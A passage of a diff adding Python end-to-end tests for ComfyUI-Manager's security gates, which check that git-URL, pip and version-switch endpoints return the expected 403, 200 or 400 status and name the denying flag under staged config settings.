"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui_default() -> int:
|
||||
"""Launch ComfyUI at the default security_level (normal) — glob mode."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI (default):\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui_default():
|
||||
pid = _start_comfyui_default()
|
||||
try:
|
||||
yield pid
|
||||
finally:
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSecurityGate403_CV4:
|
||||
"""Goal CV4 — POST /v2/comfyui_manager/comfyui_switch_version must
|
||||
return 403 below `high+`. At the default security_level=normal +
|
||||
is_local_mode=True, NORMAL is NOT in the allowed-set [WEAK, NORMAL_]
|
||||
for the high+ check, so the 403 path triggers WITHOUT any harness.
|
||||
|
||||
Handler: comfyui_manager/glob/manager_server.py:1854-1858
|
||||
Gate: is_allowed_security_level("high+")
|
||||
"""
|
||||
|
||||
def test_switch_version_returns_403_at_default(self, comfyui_default):
|
||||
# We deliberately send a syntactically valid JSON body so the
|
||||
# request would reach the Pydantic validation step IF the gate
|
||||
# were broken. The gate is the FIRST check in the handler, so
|
||||
# 403 must precede any 400-from-validation outcome.
|
||||
# Body transport (JSON) per WI #258 — previously query string.
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/comfyui_manager/comfyui_switch_version",
|
||||
json={"ver": "v0.12.1", "client_id": "secgate-cv4", "ui_id": "secgate-cv4"},
|
||||
timeout=10,
|
||||
)
|
||||
|
||||
assert resp.status_code == 403, (
|
||||
f"CV4 SECURITY-GATE BYPASS: POST comfyui_switch_version returned "
|
||||
f"{resp.status_code} at security_level=normal (expected 403). "
|
||||
f"This means the high+ gate is broken — version downgrade attacks "
|
||||
f"would succeed. Response: {resp.text[:200]}"
|
||||
)
|
||||
@@ -0,0 +1,730 @@
|
||||
"""[goal265 step4 — RED] E2E endpoint binding for the dedicated install flags
|
||||
``allow_git_url_install`` / ``allow_pip_install`` on the LEGACY server.
|
||||
|
||||
TARGET CONTRACT (NOT YET IMPLEMENTED — goal265-spec.md §1, LOCKED):
|
||||
|
||||
S-A POST /v2/customnode/install/git_url gated by allow_git_url_install
|
||||
S-B POST /v2/customnode/install/pip gated by allow_pip_install
|
||||
S-C batch unknown-URL install: retained middle+ entry gate AND the
|
||||
allow_git_url_install full predicate replaces the high+ risky check;
|
||||
unknown-pip 'block' branch stays UNCONDITIONAL (Q1).
|
||||
The security_level term is fully REMOVED from S-A/S-B (spec §1.1 inv. 1);
|
||||
denial logs name the responsible flag, not the security level (inv. 6).
|
||||
|
||||
These tests are EXPECTED TO FAIL against current code (today S-A/S-B are
|
||||
``is_allowed_security_level('high+')``-gated) — RED confirmation is Step 5.
|
||||
Do NOT weaken them to pass against today's code.
|
||||
|
||||
This module delivers the LGU2/LPP2 legacy-fixture follow-up explicitly
|
||||
deferred by tests/e2e/test_e2e_secgate_default.py (its header, lines 31-34).
|
||||
|
||||
SC rows covered (goal265-scenarios.md), grouped by server config combination
|
||||
(one legacy-server launch per combination, config.ini staged per flags):
|
||||
|
||||
CFG-A (git=T, pip=T, sl=strong, nm=public): SC-01, SC-11, SC-08
|
||||
CFG-B (git=T, pip=F, sl=normal, nm=public): SC-02, SC-04, SC-10, SC-17,
|
||||
SC-18 (transitive-pip arm)
|
||||
CFG-C (git=F, pip=T, sl=normal, nm=public): SC-16
|
||||
CFG-D (git=F, pip=F, sl=weak, nm=public): SC-05, SC-09, SC-13,
|
||||
SC-23 (denial-log copy arm)
|
||||
CFG-E (git=T, pip=T, sl=weak, nm=public): SC-24 (Q1 unknown-pip block)
|
||||
CFG-F (git=T, pip=T, sl=normal, nm=public): SC-25A/B (guards, flags-on)
|
||||
CFG-G (git=F, pip=F, sl=normal, nm=public): SC-25A/B (guards, flags-off)
|
||||
CFG-H (git=T, pip=F, sl=normal, nm=personal_cloud): SC-30 (note below)
|
||||
|
||||
SC-30 limitation (deliberate, documented): the E2E harness listens on
|
||||
127.0.0.1, so the personal_cloud arm of the middle+ entry gate is satisfied
|
||||
via is_local_mode as well; the public-listener arm of personal_cloud is
|
||||
proven at predicate level (tests/common/test_install_flag_predicate.py
|
||||
SC-03/SC-12) — this row re-proves the endpoint binding with
|
||||
network_mode=personal_cloud staged.
|
||||
|
||||
SC-18 strategy: endpoint-level arm — git-URL install transaction completes
|
||||
(200) with allow_pip_install=false and the captured log slice contains NO
|
||||
allow_pip_install denial, proving the pip flag is never consulted inside a
|
||||
git transaction (MM §1.4). The spec's integration-level alternative
|
||||
(in-process gitclone_install with execute_install_script mocked) remains
|
||||
open to Step-7 if this arm proves under-discriminating.
|
||||
|
||||
Side-effect control: batch rows pre-seed the target node directory so the
|
||||
queue worker's gitclone_install short-circuits on "Already exists" — the
|
||||
GATE decision (the contract under test) happens synchronously in
|
||||
_install_custom_node BEFORE the worker runs, so the batch response's
|
||||
``failed`` list is a complete gate observable without real clones.
|
||||
|
||||
Requires a pre-built E2E environment (setup_e2e_env.sh); skip-marked
|
||||
otherwise (harness precedent: tests/e2e/test_e2e_secgate_default.py).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import configparser
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "scripts")
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
CONFIG_PATH = os.path.join(COMFYUI_PATH, "user", "__manager", "config.ini")
|
||||
CONFIG_BACKUP = CONFIG_PATH + ".before-flags"
|
||||
SERVER_LOG = os.path.join(E2E_ROOT, "logs", "comfyui.log") if E2E_ROOT else ""
|
||||
|
||||
# Purpose-built test-fixture repo (same constant as
|
||||
# tests/e2e/test_e2e_legacy_real_ops.py TRUSTED_GIT_URL) — the DESIGNATED
|
||||
# do-not-install sample for every S-A surface test that performs a REAL
|
||||
# clone (direct /v2/customnode/install/git_url).
|
||||
UNKNOWN_GIT_URL = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
|
||||
UNKNOWN_GIT_DIRNAME = "nodepack-test1-do-not-install"
|
||||
|
||||
# Batch S-C "unknown-URL" rows need a files URL genuinely NOT in the
|
||||
# custom-node DB (scenario preconditions SC-04/08/09/30: "file URL NOT in
|
||||
# node DB" -> get_risky_level returns 'high+' -> the dedicated-flag gate
|
||||
# engages). DISCOVERY (task #297 real-server run): the do-not-install
|
||||
# sample above IS registered in the Comfy-Org main-channel
|
||||
# custom-node-list (served from the manager cache), so get_risky_level
|
||||
# returns 'middle+' for it and the flag gate is bypassed — using it for
|
||||
# batch rows silently tests the wrong path (observed as an SC-09
|
||||
# false-FAIL: flag=false yet the item queued via middle+ at sl=weak).
|
||||
# The batch rows therefore use a SYNTHETIC nonexistent URL. ZERO-INSTALL
|
||||
# guarantee holds by construction: deny rows (SC-08/09) never reach the
|
||||
# worker, and allow rows (SC-04/30) pre-seed the matching placeholder dir
|
||||
# so the worker's gitclone_install short-circuits on "Already exists" —
|
||||
# the URL is never cloned (and could not be: the repo does not exist).
|
||||
BATCH_UNKNOWN_GIT_URL = "https://github.com/ltdrdata/goal265-nonexistent-unknown-node"
|
||||
BATCH_UNKNOWN_DIRNAME = "goal265-nonexistent-unknown-node"
|
||||
|
||||
# Long-standing custom-node-list.json entry — used by SC-24/SC-25B rows that
|
||||
# need a files URL the DB KNOWS (get_risky_level must not short-circuit at
|
||||
# high+ on the URL check).
|
||||
KNOWN_GIT_URL = "https://github.com/ltdrdata/ComfyUI-Impact-Pack"
|
||||
KNOWN_GIT_DIRNAME = "ComfyUI-Impact-Pack"
|
||||
|
||||
UNKNOWN_PIP_PKG = "cm-goal265-nonexistent-pip-pkg-xyz"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Config staging + server lifecycle helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _stage_flags_config(git: bool, pip: bool, security_level: str,
|
||||
network_mode: str) -> None:
|
||||
"""Patch config.ini with the row preconditions (backup-once pattern,
|
||||
mirrors start_comfyui_strict.sh)."""
|
||||
if not os.path.isfile(CONFIG_BACKUP):
|
||||
shutil.copy(CONFIG_PATH, CONFIG_BACKUP)
|
||||
|
||||
cfg = configparser.ConfigParser(strict=False)
|
||||
cfg.read(CONFIG_PATH)
|
||||
if "default" not in cfg:
|
||||
cfg["default"] = {}
|
||||
cfg["default"]["allow_git_url_install"] = "true" if git else "false"
|
||||
cfg["default"]["allow_pip_install"] = "true" if pip else "false"
|
||||
cfg["default"]["security_level"] = security_level
|
||||
cfg["default"]["network_mode"] = network_mode
|
||||
with open(CONFIG_PATH, "w", encoding="utf-8") as f:
|
||||
cfg.write(f)
|
||||
|
||||
|
||||
def _restore_config() -> None:
|
||||
if os.path.isfile(CONFIG_BACKUP):
|
||||
shutil.move(CONFIG_BACKUP, CONFIG_PATH)
|
||||
|
||||
|
||||
def _start_legacy() -> int:
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui_legacy.sh")],
|
||||
capture_output=True, text=True, timeout=180, env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI (legacy):\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_legacy() -> None:
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True, text=True, timeout=30, env=env,
|
||||
)
|
||||
|
||||
|
||||
def _make_flags_server_fixture(git: bool, pip: bool, security_level: str,
|
||||
network_mode: str = "public"):
|
||||
"""Class-scoped fixture factory: stage config -> start legacy server ->
|
||||
yield -> stop server -> restore config."""
|
||||
|
||||
@pytest.fixture(scope="class")
|
||||
def _server():
|
||||
_stage_flags_config(git, pip, security_level, network_mode)
|
||||
try:
|
||||
pid = _start_legacy()
|
||||
try:
|
||||
yield pid
|
||||
finally:
|
||||
_stop_legacy()
|
||||
finally:
|
||||
_restore_config()
|
||||
|
||||
return _server
|
||||
|
||||
|
||||
comfyui_flags_a = _make_flags_server_fixture(True, True, "strong")
|
||||
comfyui_flags_b = _make_flags_server_fixture(True, False, "normal")
|
||||
comfyui_flags_c = _make_flags_server_fixture(False, True, "normal")
|
||||
comfyui_flags_d = _make_flags_server_fixture(False, False, "weak")
|
||||
comfyui_flags_e = _make_flags_server_fixture(True, True, "weak")
|
||||
comfyui_flags_f = _make_flags_server_fixture(True, True, "normal")
|
||||
comfyui_flags_g = _make_flags_server_fixture(False, False, "normal")
|
||||
comfyui_flags_h = _make_flags_server_fixture(
|
||||
True, False, "normal", network_mode="personal_cloud")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Request / observation helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _post_git_url(url: str) -> requests.Response:
|
||||
return requests.post(
|
||||
f"{BASE_URL}/v2/customnode/install/git_url", data=url, timeout=120,
|
||||
)
|
||||
|
||||
|
||||
def _post_pip(packages: str) -> requests.Response:
|
||||
return requests.post(
|
||||
f"{BASE_URL}/v2/customnode/install/pip", data=packages, timeout=60,
|
||||
)
|
||||
|
||||
|
||||
def _batch_install_item(ui_id: str, files: list[str],
|
||||
pip: list[str] | None = None) -> dict:
|
||||
"""Unknown-version batch install item shape consumed by
|
||||
legacy _install_custom_node (version='unknown' -> files URL path)."""
|
||||
return {
|
||||
"id": ui_id,
|
||||
"ui_id": ui_id,
|
||||
"version": "unknown",
|
||||
"files": files,
|
||||
"pip": pip or [],
|
||||
"channel": "default",
|
||||
"mode": "cache",
|
||||
}
|
||||
|
||||
|
||||
def _post_batch(payload: dict) -> requests.Response:
|
||||
return requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/batch", json=payload, timeout=120,
|
||||
)
|
||||
|
||||
|
||||
def _log_offset() -> int:
|
||||
return os.path.getsize(SERVER_LOG) if os.path.isfile(SERVER_LOG) else 0
|
||||
|
||||
|
||||
def _log_slice(offset: int) -> str:
|
||||
if not os.path.isfile(SERVER_LOG):
|
||||
return ""
|
||||
with open(SERVER_LOG, "r", encoding="utf-8", errors="replace") as f:
|
||||
f.seek(offset)
|
||||
return f.read()
|
||||
|
||||
|
||||
def _custom_nodes_dir() -> str:
|
||||
return os.path.join(COMFYUI_PATH, "custom_nodes")
|
||||
|
||||
|
||||
def _preseed_node_dir(dirname: str) -> str:
|
||||
"""Create a placeholder node dir so the queue worker's gitclone_install
|
||||
short-circuits on 'Already exists' (no real clone; the gate decision
|
||||
under test already happened synchronously)."""
|
||||
target = os.path.join(_custom_nodes_dir(), dirname)
|
||||
os.makedirs(target, exist_ok=True)
|
||||
marker = os.path.join(target, ".goal265-preseed")
|
||||
with open(marker, "w", encoding="utf-8") as f:
|
||||
f.write("goal265 step4 gate-test placeholder\n")
|
||||
return target
|
||||
|
||||
|
||||
def _remove_node_dir(dirname: str) -> None:
|
||||
for candidate in (
|
||||
os.path.join(_custom_nodes_dir(), dirname),
|
||||
os.path.join(_custom_nodes_dir(), ".disabled", dirname),
|
||||
os.path.join(_custom_nodes_dir(), dirname + ".disabled"),
|
||||
):
|
||||
if os.path.isdir(candidate):
|
||||
shutil.rmtree(candidate, ignore_errors=True)
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# CFG-A: git=T, pip=T, sl=strong, nm=public
|
||||
# ===========================================================================
|
||||
|
||||
class TestFlagsOnStrongLevel:
|
||||
"""Allow-direction decoupling: flags=true must allow S-A/S-B even at
|
||||
security_level=strong (today: 403). Batch entry gate stays
|
||||
security_level-coupled (middle+ fails at strong)."""
|
||||
|
||||
def test_sc01_git_url_allowed_at_strong_when_flag_true(
|
||||
self, comfyui_flags_a):
|
||||
"""SC-01: git=true, sl=strong, loopback -> POST git_url returns 200
|
||||
(today 403 — proves security_level irrelevance, allow direction).
|
||||
Pre-removes the fixture node so a real (tiny) clone proceeds; a
|
||||
200 via res.action=='skip' is equally a gate-pass observable."""
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
try:
|
||||
resp = _post_git_url(UNKNOWN_GIT_URL)
|
||||
assert resp.status_code == 200, (
|
||||
f"SC-01: expected 200 (flag=true overrides sl=strong), got "
|
||||
f"{resp.status_code} — security_level still gates S-A. "
|
||||
f"Body: {resp.text[:200]}"
|
||||
)
|
||||
finally:
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
|
||||
def test_sc11_pip_allowed_at_strong_when_flag_true(self, comfyui_flags_a):
|
||||
"""SC-11: pip=true, sl=strong, loopback -> POST pip returns 200
|
||||
(today 403). text-unidecode: pure-Python, tiny, idempotent — same
|
||||
trusted constant as test_e2e_legacy_real_ops.py."""
|
||||
resp = _post_pip("text-unidecode")
|
||||
assert resp.status_code == 200, (
|
||||
f"SC-11: expected 200 (flag=true overrides sl=strong), got "
|
||||
f"{resp.status_code} — security_level still gates S-B."
|
||||
)
|
||||
|
||||
def test_sc08_batch_unknown_url_denied_at_strong(self, comfyui_flags_a):
|
||||
"""SC-08: git=true, sl=strong -> batch unknown-URL install DENIED —
|
||||
the retained middle+ entry gate fails first (composite gate:
|
||||
middle+ AND flag; spec §1.2 S-C row, ':1427' gate UNCHANGED)."""
|
||||
item = _batch_install_item("sc08-unknown", [BATCH_UNKNOWN_GIT_URL])
|
||||
resp = _post_batch({"install": [item]})
|
||||
assert resp.status_code == 200, resp.text[:200]
|
||||
failed = resp.json().get("failed", [])
|
||||
assert "sc08-unknown" in failed, (
|
||||
"SC-08: batch unknown-URL install must stay denied at "
|
||||
"sl=strong (middle+ entry gate) even with "
|
||||
f"allow_git_url_install=true — failed={failed!r}"
|
||||
)
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# CFG-B: git=T, pip=F, sl=normal, nm=public
|
||||
# ===========================================================================
|
||||
|
||||
class TestGitFlagOnDefaultLevel:
|
||||
"""Default security_level: git flag alone opens S-A; pip stays closed."""
|
||||
|
||||
def test_sc02_git_url_allowed_at_default_level(self, comfyui_flags_b):
|
||||
"""SC-02: git=true, sl=normal (default), loopback -> 200
|
||||
(today 403). Self-cleaning (pre+post remove): a leftover clone
|
||||
would turn the NEXT install of the same repo into an
|
||||
'Already exists' 400 (gitclone_install unknown-repo path has no
|
||||
skip arm — observed as an SC-17 false-FAIL in the first #297 run)."""
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
try:
|
||||
resp = _post_git_url(UNKNOWN_GIT_URL)
|
||||
assert resp.status_code == 200, (
|
||||
f"SC-02: expected 200 at sl=normal with flag=true, got "
|
||||
f"{resp.status_code}. Body: {resp.text[:200]}"
|
||||
)
|
||||
finally:
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
|
||||
def test_sc10_invalid_url_reaches_validation_400(self, comfyui_flags_b):
|
||||
"""SC-10: git=true, sl=normal -> POST an INVALID url -> 400 from
|
||||
installer validation, NOT 403 from the gate. Distinguishes gate-403
|
||||
from install-400 (today the gate 403s before URL validation)."""
|
||||
resp = _post_git_url("not-a-url")
|
||||
assert resp.status_code == 400, (
|
||||
f"SC-10: expected 400 (installer validation), got "
|
||||
f"{resp.status_code} — a 403 means the flag gate did not open."
|
||||
)
|
||||
|
||||
def test_sc17_git_open_pip_closed_independent(self, comfyui_flags_b):
|
||||
"""SC-17: git=true, pip=false, sl=normal -> git_url 200, pip 403
|
||||
(flags fully independent, [D1][D2]). Self-cleaning like SC-02 —
|
||||
a stale clone from an earlier S-A test would 400 the git arm."""
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
try:
|
||||
git_resp = _post_git_url(UNKNOWN_GIT_URL)
|
||||
pip_resp = _post_pip("text-unidecode")
|
||||
assert git_resp.status_code == 200, (
|
||||
f"SC-17 git arm: expected 200, got {git_resp.status_code}"
|
||||
)
|
||||
assert pip_resp.status_code == 403, (
|
||||
f"SC-17 pip arm: expected 403, got {pip_resp.status_code}"
|
||||
)
|
||||
finally:
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
|
||||
def test_sc18_git_transaction_never_consults_pip_flag(
|
||||
self, comfyui_flags_b):
|
||||
"""SC-18: git=true, pip=false -> a git-URL install transaction
|
||||
(clone + execute_install_script dependency step) COMPLETES, and the
|
||||
captured log slice contains no allow_pip_install denial — the pip
|
||||
flag governs ONLY the standalone S-B surface (MM §1.4 transaction
|
||||
scope; spec §1.1 invariant 4).
|
||||
|
||||
Fresh install forced (pre-remove) so execute_install_script actually
|
||||
runs inside the transaction window."""
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
offset = _log_offset()
|
||||
try:
|
||||
resp = _post_git_url(UNKNOWN_GIT_URL)
|
||||
log = _log_slice(offset)
|
||||
assert resp.status_code == 200, (
|
||||
f"SC-18: git transaction failed ({resp.status_code}) with "
|
||||
"pip=false — transitive scope broken? Body: "
|
||||
f"{resp.text[:200]}"
|
||||
)
|
||||
assert "allow_pip_install" not in log, (
|
||||
"SC-18: the git-URL install transaction consulted/logged "
|
||||
"allow_pip_install — per-surface scope violated (MM §1.4):\n"
|
||||
+ log[-2000:]
|
||||
)
|
||||
finally:
|
||||
_remove_node_dir(UNKNOWN_GIT_DIRNAME)
|
||||
|
||||
def test_sc04_batch_unknown_url_queued_at_default_level(
|
||||
self, comfyui_flags_b):
|
||||
"""SC-04: git=true, sl=normal -> batch unknown-URL install is
|
||||
QUEUED (failed list empty): middle+ entry passes at normal local
|
||||
AND the flag replaces the high+ risky check (today 403: risky
|
||||
high+ fails at normal). Target dir pre-seeded — see module
|
||||
docstring 'Side-effect control'."""
|
||||
_preseed_node_dir(BATCH_UNKNOWN_DIRNAME)
|
||||
try:
|
||||
item = _batch_install_item("sc04-unknown", [BATCH_UNKNOWN_GIT_URL])
|
||||
resp = _post_batch({"install": [item]})
|
||||
assert resp.status_code == 200, resp.text[:200]
|
||||
failed = resp.json().get("failed", [])
|
||||
assert "sc04-unknown" not in failed, (
|
||||
"SC-04: batch unknown-URL install still denied at "
|
||||
"sl=normal with allow_git_url_install=true — the risky "
|
||||
f"high+ check was not replaced by the flag. failed={failed!r}"
|
||||
)
|
||||
finally:
|
||||
_remove_node_dir(BATCH_UNKNOWN_DIRNAME)
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# CFG-C: git=F, pip=T, sl=normal, nm=public
|
||||
# ===========================================================================
|
||||
|
||||
class TestPipFlagOnDefaultLevel:
|
||||
def test_sc16_git_closed_pip_open_independent(self, comfyui_flags_c):
|
||||
"""SC-16: git=false, pip=true, sl=normal -> git_url 403, pip 200
|
||||
(flags fully independent, [D1][D2])."""
|
||||
git_resp = _post_git_url(UNKNOWN_GIT_URL)
|
||||
pip_resp = _post_pip("text-unidecode")
|
||||
assert git_resp.status_code == 403, (
|
||||
f"SC-16 git arm: expected 403, got {git_resp.status_code}"
|
||||
)
|
||||
assert pip_resp.status_code == 200, (
|
||||
f"SC-16 pip arm: expected 200, got {pip_resp.status_code}"
|
||||
)
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# CFG-D: git=F, pip=F, sl=weak, nm=public
|
||||
# ===========================================================================
|
||||
|
||||
class TestFlagsOffWeakLevel:
|
||||
"""Deny-direction decoupling: flags=false must deny S-A/S-B even at
|
||||
security_level=weak (today: 200) — and the denial log must name the
|
||||
responsible flag (SC-23 log arm, spec §1.3)."""
|
||||
|
||||
def test_sc05_sc23_git_url_denied_at_weak_log_names_flag(
|
||||
self, comfyui_flags_d):
|
||||
"""SC-05: git=false, sl=weak, loopback -> 403 (today 200 — deny
|
||||
direction of security_level irrelevance).
|
||||
SC-23 (log arm): the denial log names allow_git_url_install and
|
||||
drops the security-level framing (SECURITY_MESSAGE_NORMAL_MINUS)."""
|
||||
offset = _log_offset()
|
||||
resp = _post_git_url(UNKNOWN_GIT_URL)
|
||||
log = _log_slice(offset)
|
||||
|
||||
assert resp.status_code == 403, (
|
||||
f"SC-05: expected 403 (flag=false overrides sl=weak), got "
|
||||
f"{resp.status_code} — security_level still opens S-A."
|
||||
)
|
||||
assert "allow_git_url_install" in log, (
|
||||
"SC-23: denial log does not name allow_git_url_install "
|
||||
f"(spec §1.3 SECURITY_MESSAGE_FLAG_GIT_URL). Slice:\n{log[-1500:]}"
|
||||
)
|
||||
assert "security level to 'normal-'" not in log, (
|
||||
"SC-23: denial log still carries the misleading "
|
||||
"security-level copy (SECURITY_MESSAGE_NORMAL_MINUS)."
|
||||
)
|
||||
|
||||
def test_sc13_sc23_pip_denied_at_weak_log_names_flag(
|
||||
self, comfyui_flags_d):
|
||||
"""SC-13: pip=false, sl=weak, loopback -> 403 (today 200).
|
||||
SC-23 (log arm): denial log names allow_pip_install
|
||||
(spec §1.3 SECURITY_MESSAGE_FLAG_PIP)."""
|
||||
offset = _log_offset()
|
||||
resp = _post_pip("text-unidecode")
|
||||
log = _log_slice(offset)
|
||||
|
||||
assert resp.status_code == 403, (
|
||||
f"SC-13: expected 403 (flag=false overrides sl=weak), got "
|
||||
f"{resp.status_code} — security_level still opens S-B."
|
||||
)
|
||||
assert "allow_pip_install" in log, (
|
||||
"SC-23: denial log does not name allow_pip_install "
|
||||
f"(spec §1.3 SECURITY_MESSAGE_FLAG_PIP). Slice:\n{log[-1500:]}"
|
||||
)
|
||||
|
||||
def test_sc09_batch_unknown_url_denied_when_flag_false(
|
||||
self, comfyui_flags_d):
|
||||
"""SC-09: git=false, sl=weak -> batch unknown-URL install denied —
|
||||
the flag gate fails despite weak (today: allowed). Composite gate's
|
||||
flag term is the decider here (middle+ passes at weak local)."""
|
||||
item = _batch_install_item("sc09-unknown", [BATCH_UNKNOWN_GIT_URL])
|
||||
resp = _post_batch({"install": [item]})
|
||||
assert resp.status_code == 200, resp.text[:200]
|
||||
failed = resp.json().get("failed", [])
|
||||
assert "sc09-unknown" in failed, (
|
||||
"SC-09: batch unknown-URL install must be denied with "
|
||||
f"allow_git_url_install=false even at sl=weak. failed={failed!r}"
|
||||
)
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# The 403 denial reason code
|
||||
#
|
||||
# A denied install returns 403 with a JSON body naming the flag that denied it
|
||||
# — `{"reason": "allow_git_url_install"}` or `{"reason": "allow_pip_install"}`
|
||||
# — so the browser can tell the user WHICH setting to change instead of
|
||||
# guessing from the endpoint it happened to call. The full
|
||||
# SECURITY_MESSAGE_FLAG_* text still goes to the terminal via `logging.error`;
|
||||
# only the flag name goes on the wire.
|
||||
#
|
||||
# Every other assertion on these endpoints tests `status_code` alone, so
|
||||
# nothing else in this file can see the body at all — these rows are the only
|
||||
# coverage the wire contract has.
|
||||
#
|
||||
# Reuses CFG-D (git=F, pip=F, sl=weak) — the config that already produces a 403
|
||||
# on both arms, so these rows add no new server boot.
|
||||
# ===========================================================================
|
||||
|
||||
class TestDenialReasonCode:
|
||||
"""The 403 body must name WHICH flag denied — and nothing more."""
|
||||
|
||||
def _denial_body(self, resp):
|
||||
"""Parse the 403 body as the wire contract, with the failure message
|
||||
carrying what was actually received."""
|
||||
assert resp.status_code == 403, (
|
||||
f"precondition: expected 403, got {resp.status_code}"
|
||||
)
|
||||
try:
|
||||
return json.loads(resp.text)
|
||||
except json.JSONDecodeError as exc:
|
||||
pytest.fail(
|
||||
"the 403 body is not JSON. Expected a JSON object carrying "
|
||||
"the denial reason code; "
|
||||
f"observed {resp.text!r} (len={len(resp.text)}). "
|
||||
f"JSONDecodeError: {exc}. A 403 emitted with no `text=` leaves "
|
||||
"the body EMPTY, and the client then has nothing to derive its "
|
||||
"message from."
|
||||
)
|
||||
|
||||
def test_t9_pip_denial_body_names_the_flag(self, comfyui_flags_d):
|
||||
"""The pip 403 body carries the reason code.
|
||||
|
||||
Expected: a JSON OBJECT whose `reason` is the string
|
||||
`allow_pip_install`.
|
||||
"""
|
||||
resp = _post_pip("text-unidecode")
|
||||
body = self._denial_body(resp)
|
||||
|
||||
assert isinstance(body, dict), (
|
||||
"the 403 body must be a JSON OBJECT (the client's guard is "
|
||||
"`typeof data === 'object' && data !== null && typeof data.reason "
|
||||
f"=== 'string'`); observed {type(body).__name__} {body!r}"
|
||||
)
|
||||
assert body.get("reason") == "allow_pip_install", (
|
||||
"expected the pip 403 body to carry "
|
||||
"{'reason': 'allow_pip_install'} so the client can name the "
|
||||
f"condition the SERVER actually failed on; observed {body!r}"
|
||||
)
|
||||
|
||||
def test_t9_git_url_denial_body_names_the_flag(self, comfyui_flags_d):
|
||||
"""The git_url 403 body carries its own code.
|
||||
|
||||
A separate node from the pip arm on purpose: the two emissions are
|
||||
separate `return` statements, so one can be changed while the other is
|
||||
missed.
|
||||
"""
|
||||
resp = _post_git_url(UNKNOWN_GIT_URL)
|
||||
body = self._denial_body(resp)
|
||||
|
||||
assert isinstance(body, dict), (
|
||||
"the 403 body must be a JSON OBJECT; observed "
|
||||
f"{type(body).__name__} {body!r}"
|
||||
)
|
||||
assert body.get("reason") == "allow_git_url_install", (
